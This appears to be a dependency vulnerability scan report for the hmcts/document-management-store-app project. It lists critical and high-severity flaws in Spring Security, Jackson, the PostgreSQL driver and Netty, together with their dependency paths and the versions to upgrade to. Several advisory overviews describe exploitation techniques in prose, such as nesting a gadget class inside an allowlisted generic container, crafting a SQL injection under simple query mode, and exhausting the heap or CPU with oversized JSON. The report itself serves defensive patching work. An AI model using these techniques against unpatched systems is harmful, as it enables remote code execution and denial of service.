Vulnerabilities

120 via 597 paths

Dependencies

275

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 120
  • 2
Severity
  • 8
  • 54
  • 56
  • 4
Status
  • 122
  • 0
  • 0

critical severity

Missing Authentication for Critical Function

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.0.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Missing Authentication for Critical Function due to improperly locating method security annotations on private methods. An attacker could invoke the target method without proper authorization by exploiting this vulnerability.

Note:

This is only exploitable if your application is using @EnableMethodSecurity(mode=ASPECTJ) and spring-security-aspects and there are Spring Security method annotations on a private method.

Remediation

Upgrade org.springframework.security:spring-security-core to version 6.4.6 or higher.

References

critical severity

Use of Cache Containing Sensitive Information

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Use of Cache Containing Sensitive Information in the process of writing HTTP response headers for servlet applications. An attacker can manipulate HTTP responses by exploiting the failure to write expected headers, potentially leading to unauthorized access or information disclosure.

Remediation

Upgrade org.springframework.security:spring-security-web to version 6.5.9, 7.0.4 or higher.

References

critical severity

Deserialization of Untrusted Data

  • Vulnerable module: tools.jackson.core:jackson-databind
  • Introduced through: net.logstash.logback:logstash-logback-encoder@9.0, org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › net.logstash.logback:logstash-logback-encoder@9.0 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1

Overview

Affected versions of this package are vulnerable to Deserialization of Untrusted Data in the DatabindContext._resolveAndValidateGeneric() method, which validates only the raw container class of a type identifier against the configured PolymorphicTypeValidator and not its nested generic type arguments. An attacker who controls the type identifier can instantiate a denied class, and reach unauthenticated remote code execution through an available gadget, by embedding that class as a generic parameter of an allowlisted container such as java.util.ArrayList<com.evil.Gadget>, which passes validation while the nested type is loaded, instantiated, and populated with attacker-controlled values. Exploitation requires polymorphic type validation to be enabled with a configured validator, the application to deserialize untrusted JSON, and a suitable gadget class on the classpath.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.4 or higher.

References

critical severity

Incomplete List of Disallowed Inputs

  • Vulnerable module: tools.jackson.core:jackson-databind
  • Introduced through: net.logstash.logback:logstash-logback-encoder@9.0, org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › net.logstash.logback:logstash-logback-encoder@9.0 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-M2 › org.springframework.boot:spring-boot-jackson@4.2.0-M2 › tools.jackson.core:jackson-databind@3.0.1

Overview

Affected versions of this package are vulnerable to Incomplete List of Disallowed Inputs in the BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() method, which allowlists an array based only on clazz.isArray() and does not validate the array's component type. An attacker who controls the deserialized JSON can instantiate types outside the configured allowlist by wrapping them in an array, because array elements without per-element type identifiers are constructed directly with no further validator check.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.4 or higher.

References

critical severity

Access Control Bypass

  • Vulnerable module: org.springframework.security:spring-security-config
  • Introduced through: org.springframework.security:spring-security-config@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-config@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-config@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Access Control Bypass. When using ** as a pattern in Spring Security configuration for WebFlux a mismatch in pattern matching is created between Spring Security and Spring WebFlux, resulting in a security bypass.

Note:

The fixed versions require Spring Framework versions:

  1. 6.0.11+

  2. 5.3.29+

  3. 5.2.25+

Note: The Spring security team have published information about an existing PoC, but have not shared the PoC itself publicly, therefore we don't currently have the ability to verify it.

Remediation

Upgrade org.springframework.security:spring-security-config to version 5.6.12, 5.7.10, 5.8.5, 6.0.5, 6.1.2 or higher.

References

critical severity

Replay Attack

  • Vulnerable module: org.springframework.security:spring-security-oauth2-jose
  • Introduced through: org.springframework.security:spring-security-oauth2-jose@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-oauth2-jose@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@5.0.0.RELEASE.

Overview

org.springframework.security:spring-security-oauth2-jose is a provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Replay Attack through the DPoPProofJwtDecoderFactory. An attacker can gain unauthorized access and impersonate a victim by flooding the server with dummy requests to evict legitimate JWT ID claims from the internal cache, allowing replay of intercepted DPoP proofs.

Remediation

Upgrade org.springframework.security:spring-security-oauth2-jose to version 7.0.7, 7.1.1 or higher.

References

critical severity

Missing Authorization

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@5.7.13.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Missing Authorization allowing Spring Security authorization rules to be bypassed for static resources.

Note:

Non-Static Resources Are Not Affected by this vulnerability. This is because handlers for these routes use predicates to validate the requests even if all security filters are bypassed.

Spring Security states that for this to impact an application, all of the following conditions must be met:

  1. It must be a WebFlux application.

  2. It must be using Spring's static resources support.

  3. It must have a non-permitAll authorization rule applied to the static resources support.

Remediation

Upgrade org.springframework.security:spring-security-web to version 5.7.13, 5.8.15, 6.2.7, 6.3.4 or higher.

References

critical severity

SQL Injection

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@versions.postgresql

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.postgresql:postgresql@versions.postgresql
    Remediation: Upgrade to org.postgresql:postgresql@42.2.28.jre7.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to SQL Injection when using PreferQueryMode=SIMPLE, which is not the default setting. By passing in a numeric value placeholder immediately preceded by a minus and followed by a second placeholder for a string value, on the same line, an attacker can construct a payload that alters the parameterized query into which it is interpolated. This effectively bypasses the protections against SQL Injection that parameterized queries offer.

Remediation

Upgrade org.postgresql:postgresql to version 42.2.28.jre7, 42.3.9, 42.4.4, 42.5.5, 42.6.1, 42.7.2 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: com.fasterxml.jackson.core:jackson-core@2.18.9, com.fasterxml.jackson.core:jackson-databind@2.18.9 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.fasterxml.jackson.core:jackson-core@2.18.9
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-core@2.18.11.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.fasterxml.jackson.core:jackson-databind@2.18.9 › com.fasterxml.jackson.core:jackson-core@2.18.9
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.18.11.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › com.fasterxml.jackson.core:jackson-core@2.18.9
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › com.fasterxml.jackson.core:jackson-databind@2.18.9 › com.fasterxml.jackson.core:jackson-core@2.18.9
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springdoc:springdoc-openapi-starter-common@2.9.1 › io.swagger.core.v3:swagger-core-jakarta@2.2.55 › com.fasterxml.jackson.core:jackson-databind@2.18.9 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9 › com.fasterxml.jackson.core:jackson-core@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springdoc:springdoc-openapi-starter-common@2.9.1 › io.swagger.core.v3:swagger-core-jakarta@2.2.55 › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.22.1 › com.fasterxml.jackson.core:jackson-databind@2.18.9 › com.fasterxml.jackson.core:jackson-core@2.18.9

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the _reportInvalidToken(int, String, String) method of UTF8DataInputJsonParser, which accumulates invalid token characters into a StringBuilder with no check against ErrorReportConfiguration.getMaxErrorTokenLength(), unlike UTF8StreamJsonParser, ReaderBasedJsonParser, and NonBlockingUtf8JsonParserBase, which enforce the 256-character default. An attacker can exhaust the JVM heap by submitting a sufficiently long malformed token, since the whole token is copied into the exception message, where a 20-million-character token produces a 20,000,109-character message against 367 characters on the bounded path. This requires the application to create its parser through JsonFactory.createParser(DataInput), and no configuration constrains the path, since maxDocumentLength does not apply to DataInput sources and maxStringLength does not cover it.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.11, 2.21.7, 2.22.3 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.18.9, com.azure:azure-storage-blob@12.35.1 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.fasterxml.jackson.core:jackson-databind@2.18.9
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.18.10.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › com.fasterxml.jackson.core:jackson-databind@2.18.9
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springdoc:springdoc-openapi-starter-common@2.9.1 › io.swagger.core.v3:swagger-core-jakarta@2.2.55 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springdoc:springdoc-openapi-starter-common@2.9.1 › io.swagger.core.v3:swagger-core-jakarta@2.2.55 › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.22.1 › com.fasterxml.jackson.core:jackson-databind@2.18.9

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the CoreXMLDeserializers.Std._deserialize path in src/main/java/com/fasterxml/jackson/databind/ext/CoreXMLDeserializers.java. An attacker can consume excessive CPU by supplying a JSON string bound to a javax.xml.datatype.Duration or XMLGregorianCalendar field, causing DatatypeFactory.newDuration(value) or newXMLGregorianCalendar(value) to parse arbitrarily long numeric components. This stalls the request-handling thread and can exhaust server CPU under default deserialization settings, denying service to other users.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.10, 2.21.6, 2.22.2 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.18.9, com.azure:azure-storage-blob@12.35.1 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.fasterxml.jackson.core:jackson-databind@2.18.9
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.18.11.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › com.fasterxml.jackson.core:jackson-databind@2.18.9
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springdoc:springdoc-openapi-starter-common@2.9.1 › io.swagger.core.v3:swagger-core-jakarta@2.2.55 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › com.azure:azure-core@1.59.0 › com.fasterxml.jackson.core:jackson-databind@2.18.9
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springdoc:springdoc-openapi-starter-common@2.9.1 › io.swagger.core.v3:swagger-core-jakarta@2.2.55 › com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.22.1 › com.fasterxml.jackson.core:jackson-databind@2.18.9

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the resolveForwardReference() method of CollectionDeserializer.CollectionReferringAccumulator, and in the corresponding map accumulators, which perform a linear search of the pending accumulator for every resolved object ID. An attacker can consume quadratic CPU and exhaust a request-time or worker-capacity budget by submitting JSON whose N unresolved object-ID references resolve in reverse order, costing roughly N*(N+1)/2 comparisons, measured at 2,003,000 for N=2,000. This requires the application to deserialize attacker-influenced JSON into an identity-enabled collection or map under @JsonIdentityInfo, though it needs no deep nesting or unusual JSON syntax.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.11, 2.21.7, 2.22.3 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: com.azure:azure-storage-blob@12.35.1

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.netty:netty-codec-http2@4.1.137.Final › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.netty:netty-handler-proxy@4.1.137.Final › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.netty:netty-codec-http2@4.1.137.Final › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.netty:netty-codec-http2@4.1.137.Final › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.netty:netty-handler-proxy@4.1.137.Final › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18 › io.netty:netty-codec-http2@4.1.137.Final › io.netty:netty-codec-http@4.1.137.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.netty:netty-codec-http2@4.1.137.Final › io.netty:netty-codec-http@4.1.137.Final
